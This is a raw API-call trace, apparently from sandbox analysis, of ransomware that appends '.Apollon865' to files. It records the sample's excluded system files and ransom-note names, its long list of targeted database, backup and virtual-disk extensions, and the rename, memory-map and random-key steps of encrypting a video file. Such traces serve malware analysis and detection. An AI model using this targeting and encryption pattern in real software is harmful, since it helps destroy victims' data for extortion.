	[0086.850] lstrlenW (lpString="rodx") returned 4
	[0086.850] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.850] lstrlenW (lpString="rpd") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.850] lstrlenW (lpString="rsd") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.850] lstrlenW (lpString="sas7bdat") returned 8
	[0086.850] lstrcmpiW (lpString1="ePwz.mkv", lpString2="sas7bdat") returned -1
	[0086.850] lstrlenW (lpString="sbf") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.850] lstrlenW (lpString="scx") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.850] lstrlenW (lpString="sdb") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.850] lstrlenW (lpString="sdc") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.850] lstrlenW (lpString="sdf") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.850] lstrlenW (lpString="sis") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.850] lstrlenW (lpString="spq") returned 3
	[0086.850] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.850] lstrlenW (lpString="te") returned 2
	[0086.850] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.850] lstrlenW (lpString="teacher") returned 7
	[0086.851] lstrcmpiW (lpString1="Pwz.mkv", lpString2="teacher") returned -1
	[0086.851] lstrlenW (lpString="tmd") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.851] lstrlenW (lpString="tps") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.851] lstrlenW (lpString="trc") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.851] lstrlenW (lpString="trc") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.851] lstrlenW (lpString="trm") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.851] lstrlenW (lpString="udb") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.851] lstrlenW (lpString="udl") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.851] lstrlenW (lpString="usr") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.851] lstrlenW (lpString="v12") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.851] lstrlenW (lpString="vis") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.851] lstrlenW (lpString="vpd") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.851] lstrlenW (lpString="vvv") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.851] lstrlenW (lpString="wdb") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.851] lstrlenW (lpString="wmdb") returned 4
	[0086.851] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.851] lstrlenW (lpString="wrk") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.851] lstrlenW (lpString="xdb") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.851] lstrlenW (lpString="xld") returned 3
	[0086.851] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.851] lstrlenW (lpString="xmlff") returned 5
	[0086.851] lstrcmpiW (lpString1="z.mkv", lpString2="xmlff") returned 1
	[0086.851] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\OIDNw4frb_ flBaePwz.mkv.Apollon865") returned 90
	[0086.852] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\OIDNw4frb_ flBaePwz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\oidnw4frb_ flbaepwz.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\OIDNw4frb_ flBaePwz.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\oidnw4frb_ flbaepwz.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\OIDNw4frb_ flBaePwz.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\oidnw4frb_ flbaepwz.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.853] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=74428) returned 1
	[0086.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.853] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.854] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.854] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.854] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x125c0, lpName=0x0) returned 0x15c
	[0086.855] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x125c0) returned 0x120000
	[0086.857] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.858] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.858] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.859] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.860] CloseHandle (hObject=0x15c) returned 1
	[0086.860] CloseHandle (hObject=0x9c) returned 1
	[0086.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.861] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5acb3e60, ftCreationTime.dwHighDateTime=0x1d4d1fc, ftLastAccessTime.dwLowDateTime=0xf2aca980, ftLastAccessTime.dwHighDateTime=0x1d4d50d, ftLastWriteTime.dwLowDateTime=0xf2aca980, ftLastWriteTime.dwHighDateTime=0x1d4d50d, nFileSizeHigh=0x0, nFileSizeLow=0x15618, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pc1dFyjBDU.flv", cAlternateFileName="PC1DFY~1.FLV")) returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="..") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="windows") returned -1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="bootmgr") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="temp") returned -1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="pagefile.sys") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="boot") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="ids.txt") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="ntuser.dat") returned 1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="perflogs") returned -1
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2="MSBuild") returned 1
	[0086.862] lstrlenW (lpString="Pc1dFyjBDU.flv") returned 14
	[0086.862] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\OIDNw4frb_ flBaePwz.mkv") returned 79
	[0086.862] lstrcpyW (in: lpString1=0x119e678, lpString2="Pc1dFyjBDU.flv" | out: lpString1="Pc1dFyjBDU.flv") returned="Pc1dFyjBDU.flv"
	[0086.862] lstrlenW (lpString="Pc1dFyjBDU.flv") returned 14
	[0086.862] lstrlenW (lpString="Apollon865") returned 10
	[0086.862] lstrcmpiW (lpString1="FyjBDU.flv", lpString2="Apollon865") returned 1
	[0086.862] lstrlenW (lpString=".dll") returned 4
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".dll") returned 1
	[0086.862] lstrlenW (lpString=".lnk") returned 4
	[0086.862] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".lnk") returned 1
	[0086.862] lstrlenW (lpString=".ini") returned 4
	[0086.863] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".ini") returned 1
	[0086.863] lstrlenW (lpString=".sys") returned 4
	[0086.863] lstrcmpiW (lpString1="Pc1dFyjBDU.flv", lpString2=".sys") returned 1
	[0086.863] lstrlenW (lpString="Pc1dFyjBDU.flv") returned 14
	[0086.863] lstrlenW (lpString="bak") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.863] lstrlenW (lpString="ba_") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.863] lstrlenW (lpString="dbb") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.863] lstrlenW (lpString="vmdk") returned 4
	[0086.863] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.863] lstrlenW (lpString="rar") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.863] lstrlenW (lpString="zip") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.863] lstrlenW (lpString="tgz") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.863] lstrlenW (lpString="vbox") returned 4
	[0086.863] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.863] lstrlenW (lpString="vdi") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.863] lstrlenW (lpString="vhd") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.863] lstrlenW (lpString="vhdx") returned 4
	[0086.863] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.863] lstrlenW (lpString="avhd") returned 4
	[0086.863] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.863] lstrlenW (lpString="db") returned 2
	[0086.863] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.863] lstrlenW (lpString="db2") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.863] lstrlenW (lpString="db3") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.863] lstrlenW (lpString="dbf") returned 3
	[0086.863] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.863] lstrlenW (lpString="mdf") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.864] lstrlenW (lpString="mdb") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.864] lstrlenW (lpString="sql") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.864] lstrlenW (lpString="sqlite") returned 6
	[0086.864] lstrcmpiW (lpString1="DU.flv", lpString2="sqlite") returned -1
	[0086.864] lstrlenW (lpString="sqlite3") returned 7
	[0086.864] lstrcmpiW (lpString1="BDU.flv", lpString2="sqlite3") returned -1
	[0086.864] lstrlenW (lpString="sqlitedb") returned 8
	[0086.864] lstrcmpiW (lpString1="jBDU.flv", lpString2="sqlitedb") returned -1
	[0086.864] lstrlenW (lpString="xml") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.864] lstrlenW (lpString="$er") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.864] lstrlenW (lpString="4dd") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.864] lstrlenW (lpString="4dl") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.864] lstrlenW (lpString="^^^") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.864] lstrlenW (lpString="abs") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.864] lstrlenW (lpString="abx") returned 3
	[0086.864] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.864] lstrlenW (lpString="accdb") returned 5
	[0086.864] lstrcmpiW (lpString1="U.flv", lpString2="accdb") returned 1
	[0086.864] lstrlenW (lpString="accdc") returned 5
	[0086.864] lstrcmpiW (lpString1="U.flv", lpString2="accdc") returned 1
	[0086.864] lstrlenW (lpString="accde") returned 5
	[0086.864] lstrcmpiW (lpString1="U.flv", lpString2="accde") returned 1
	[0086.864] lstrlenW (lpString="accdr") returned 5
	[0086.864] lstrcmpiW (lpString1="U.flv", lpString2="accdr") returned 1
	[0086.864] lstrlenW (lpString="accdt") returned 5
	[0086.864] lstrcmpiW (lpString1="U.flv", lpString2="accdt") returned 1
	[0086.864] lstrlenW (lpString="accdw") returned 5
	[0086.864] lstrcmpiW (lpString1="U.flv", lpString2="accdw") returned 1
	[0086.864] lstrlenW (lpString="accft") returned 5
	[0086.865] lstrcmpiW (lpString1="U.flv", lpString2="accft") returned 1
	[0086.865] lstrlenW (lpString="adb") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.865] lstrlenW (lpString="adb") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.865] lstrlenW (lpString="ade") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.865] lstrlenW (lpString="adf") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.865] lstrlenW (lpString="adn") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.865] lstrlenW (lpString="adp") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.865] lstrlenW (lpString="alf") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.865] lstrlenW (lpString="ask") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.865] lstrlenW (lpString="btr") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.865] lstrlenW (lpString="cat") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.865] lstrlenW (lpString="cdb") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.865] lstrlenW (lpString="ckp") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.865] lstrlenW (lpString="cma") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.865] lstrlenW (lpString="cpd") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.865] lstrlenW (lpString="dacpac") returned 6
	[0086.865] lstrcmpiW (lpString1="DU.flv", lpString2="dacpac") returned 1
	[0086.865] lstrlenW (lpString="dad") returned 3
	[0086.865] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.865] lstrlenW (lpString="dadiagrams") returned 10
	[0086.865] lstrcmpiW (lpString1="FyjBDU.flv", lpString2="dadiagrams") returned 1
	[0086.865] lstrlenW (lpString="daschema") returned 8
	[0086.866] lstrcmpiW (lpString1="jBDU.flv", lpString2="daschema") returned 1
	[0086.866] lstrlenW (lpString="db-journal") returned 10
	[0086.866] lstrcmpiW (lpString1="FyjBDU.flv", lpString2="db-journal") returned 1
	[0086.866] lstrlenW (lpString="db-shm") returned 6
	[0086.866] lstrcmpiW (lpString1="DU.flv", lpString2="db-shm") returned 1
	[0086.866] lstrlenW (lpString="db-wal") returned 6
	[0086.866] lstrcmpiW (lpString1="DU.flv", lpString2="db-wal") returned 1
	[0086.866] lstrlenW (lpString="dbc") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.866] lstrlenW (lpString="dbs") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.866] lstrlenW (lpString="dbt") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.866] lstrlenW (lpString="dbv") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.866] lstrlenW (lpString="dbx") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.866] lstrlenW (lpString="dcb") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.866] lstrlenW (lpString="dct") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.866] lstrlenW (lpString="dcx") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.866] lstrlenW (lpString="ddl") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.866] lstrlenW (lpString="dlis") returned 4
	[0086.866] lstrcmpiW (lpString1=".flv", lpString2="dlis") returned -1
	[0086.866] lstrlenW (lpString="dp1") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dp1") returned 1
	[0086.866] lstrlenW (lpString="dqy") returned 3
	[0086.866] lstrcmpiW (lpString1="flv", lpString2="dqy") returned 1
	[0086.867] lstrlenW (lpString="dsk") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="dsk") returned 1
	[0086.867] lstrlenW (lpString="dsn") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="dsn") returned 1
	[0086.867] lstrlenW (lpString="dtsx") returned 4
	[0086.867] lstrcmpiW (lpString1=".flv", lpString2="dtsx") returned -1
	[0086.867] lstrlenW (lpString="dxl") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="dxl") returned 1
	[0086.867] lstrlenW (lpString="eco") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="eco") returned 1
	[0086.867] lstrlenW (lpString="ecx") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="ecx") returned 1
	[0086.867] lstrlenW (lpString="edb") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="edb") returned 1
	[0086.867] lstrlenW (lpString="epim") returned 4
	[0086.867] lstrcmpiW (lpString1=".flv", lpString2="epim") returned -1
	[0086.867] lstrlenW (lpString="fcd") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fcd") returned 1
	[0086.867] lstrlenW (lpString="fdb") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fdb") returned 1
	[0086.867] lstrlenW (lpString="fic") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fic") returned 1
	[0086.867] lstrlenW (lpString="flexolibrary") returned 12
	[0086.867] lstrcmpiW (lpString1="1dFyjBDU.flv", lpString2="flexolibrary") returned -1
	[0086.867] lstrlenW (lpString="fm5") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fm5") returned -1
	[0086.867] lstrlenW (lpString="fmp") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fmp") returned -1
	[0086.867] lstrlenW (lpString="fmp12") returned 5
	[0086.867] lstrcmpiW (lpString1="U.flv", lpString2="fmp12") returned 1
	[0086.867] lstrlenW (lpString="fmpsl") returned 5
	[0086.867] lstrcmpiW (lpString1="U.flv", lpString2="fmpsl") returned 1
	[0086.867] lstrlenW (lpString="fol") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fol") returned -1
	[0086.867] lstrlenW (lpString="fp3") returned 3
	[0086.867] lstrcmpiW (lpString1="flv", lpString2="fp3") returned -1
	[0086.867] lstrlenW (lpString="fp4") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="fp4") returned -1
	[0086.868] lstrlenW (lpString="fp5") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="fp5") returned -1
	[0086.868] lstrlenW (lpString="fp7") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="fp7") returned -1
	[0086.868] lstrlenW (lpString="fpt") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="fpt") returned -1
	[0086.868] lstrlenW (lpString="frm") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="frm") returned -1
	[0086.868] lstrlenW (lpString="gdb") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.868] lstrlenW (lpString="gdb") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.868] lstrlenW (lpString="grdb") returned 4
	[0086.868] lstrcmpiW (lpString1=".flv", lpString2="grdb") returned -1
	[0086.868] lstrlenW (lpString="gwi") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="gwi") returned -1
	[0086.868] lstrlenW (lpString="hdb") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="hdb") returned -1
	[0086.868] lstrlenW (lpString="his") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="his") returned -1
	[0086.868] lstrlenW (lpString="ib") returned 2
	[0086.868] lstrcmpiW (lpString1="lv", lpString2="ib") returned 1
	[0086.868] lstrlenW (lpString="idb") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="idb") returned -1
	[0086.868] lstrlenW (lpString="ihx") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="ihx") returned -1
	[0086.868] lstrlenW (lpString="itdb") returned 4
	[0086.868] lstrcmpiW (lpString1=".flv", lpString2="itdb") returned -1
	[0086.868] lstrlenW (lpString="itw") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="itw") returned -1
	[0086.868] lstrlenW (lpString="jet") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="jet") returned -1
	[0086.868] lstrlenW (lpString="jtx") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="jtx") returned -1
	[0086.868] lstrlenW (lpString="kdb") returned 3
	[0086.868] lstrcmpiW (lpString1="flv", lpString2="kdb") returned -1
	[0086.869] lstrlenW (lpString="kexi") returned 4
	[0086.869] lstrcmpiW (lpString1=".flv", lpString2="kexi") returned -1
	[0086.869] lstrlenW (lpString="kexic") returned 5
	[0086.869] lstrcmpiW (lpString1="U.flv", lpString2="kexic") returned 1
	[0086.869] lstrlenW (lpString="kexis") returned 5
	[0086.869] lstrcmpiW (lpString1="U.flv", lpString2="kexis") returned 1
	[0086.869] lstrlenW (lpString="lgc") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="lgc") returned -1
	[0086.869] lstrlenW (lpString="lwx") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="lwx") returned -1
	[0086.869] lstrlenW (lpString="maf") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="maf") returned -1
	[0086.869] lstrlenW (lpString="maq") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="maq") returned -1
	[0086.869] lstrlenW (lpString="mar") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mar") returned -1
	[0086.869] lstrlenW (lpString="marshal") returned 7
	[0086.869] lstrcmpiW (lpString1="BDU.flv", lpString2="marshal") returned -1
	[0086.869] lstrlenW (lpString="mas") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mas") returned -1
	[0086.869] lstrlenW (lpString="mav") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mav") returned -1
	[0086.869] lstrlenW (lpString="maw") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="maw") returned -1
	[0086.869] lstrlenW (lpString="mdbhtml") returned 7
	[0086.869] lstrcmpiW (lpString1="BDU.flv", lpString2="mdbhtml") returned -1
	[0086.869] lstrlenW (lpString="mdn") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mdn") returned -1
	[0086.869] lstrlenW (lpString="mdt") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mdt") returned -1
	[0086.869] lstrlenW (lpString="mfd") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mfd") returned -1
	[0086.869] lstrlenW (lpString="mpd") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mpd") returned -1
	[0086.869] lstrlenW (lpString="mrg") returned 3
	[0086.869] lstrcmpiW (lpString1="flv", lpString2="mrg") returned -1
	[0086.869] lstrlenW (lpString="mud") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="mud") returned -1
	[0086.870] lstrlenW (lpString="mwb") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="mwb") returned -1
	[0086.870] lstrlenW (lpString="myd") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="myd") returned -1
	[0086.870] lstrlenW (lpString="ndf") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="ndf") returned -1
	[0086.870] lstrlenW (lpString="nnt") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="nnt") returned -1
	[0086.870] lstrlenW (lpString="nrmlib") returned 6
	[0086.870] lstrcmpiW (lpString1="DU.flv", lpString2="nrmlib") returned -1
	[0086.870] lstrlenW (lpString="ns2") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="ns2") returned -1
	[0086.870] lstrlenW (lpString="ns3") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="ns3") returned -1
	[0086.870] lstrlenW (lpString="ns4") returned 3
	[0086.870] lstrcmpiW (lpString1="flv", lpString2="ns4") returned -1
	[0086.870] lstrlenW (lpString="nsf") returned 3
